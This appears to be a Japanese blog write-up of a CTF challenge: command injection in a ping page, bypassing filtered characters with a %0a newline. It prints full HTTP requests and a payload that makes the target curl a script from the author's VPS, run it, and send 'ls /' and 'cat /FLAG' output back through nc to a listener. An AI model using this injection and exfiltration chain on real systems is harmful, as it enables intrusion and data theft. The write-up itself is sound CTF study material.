banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

命令実行バイパス - デスpingコマンド

297a673a89db936acaa55bac560f989

友達が CTF の問題を送ってきた。ウェブサイトを開くと、以下の図のように、一目でコマンド実行の脆弱性が見える。

Pasted image 20241115170827

パケットキャプチャテストはエコーがなく、コマンド実行が成功したことが表示される。

Pasted image 20241115170856

リクエストは以下の通り:

POST /ping.php HTTP/1.1
Host: ctf.zhibangyang.cn:20508
Content-Length: 12
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: */*
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://ctf.zhibangyang.cn:20508
Referer: http://ctf.zhibangyang.cn:20508/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

ip=127.0.0.1

テストでフィルタリングされる文字を確認したところ、以下の文字がフィルタリングされており、DNS ログを使った方法がブロックされていた。

;`$

Pasted image 20241115170926

Pasted image 20241115170956

DNS ログを使った方法は通常、山括弧を利用してコマンドを実行する。例えば、

`whoami`.xxx.dnslog.cn

テストで % がフィルタリングされていないことがわかり、%0a(改行文字)を使ってコマンド実行をバイパスできることがわかった。

  1. VPS サーバーを準備し、VPS 上に 1.sh というスクリプトを新規作成し、スクリプト内容は以下の通り。
ls / | nc vpsアドレス 1234
  1. VPS 上で nc を使ってリクエストをリッスンし、新しいウィンドウで Python サーバーを起動して、ターゲットマシンが 1.sh スクリプトをダウンロードできるようにする。
nc -lvnp 1234
python3 -m http.server 80
  1. ターゲットマシンで以下のコマンドを実行する。
ip=127.0.0.1%0acurl vpsアドレス/1.sh > /tmp/4.sh
chmod 777 /tmp/4.sh
/bin/sh /tmp/4.sh

リクエストは以下の通り:

POST /ping.php HTTP/1.1
Host: ctf.zhibangyang.cn:20508
Content-Length: 50
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: */*
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://ctf.zhibangyang.cn:20508
Referer: http://ctf.zhibangyang.cn:20508/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

ip=127.0.0.1%0acurl vpsアドレス/1.sh > /tmp/4.sh

Pasted image 20241115172903

結果は以下の通り、リクエストを返すことができる。

c7a4bf2d2d68349b0d31078e064e410

したがって、flag を確認するには 1.sh のスクリプト内容を以下のように変更するだけでよい。

cat /FLAG | nc vpsアドレス 1234

再度実行して flag を取得する。

ip=127.0.0.1%0acurl vpsアドレス/1.sh > /tmp/5.sh
chmod 777 /tmp/5.sh
/bin/sh /tmp/5.sh

490d14b6eac008d7954445c85e0e895

flag の形式から n1book の問題がわかる。

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。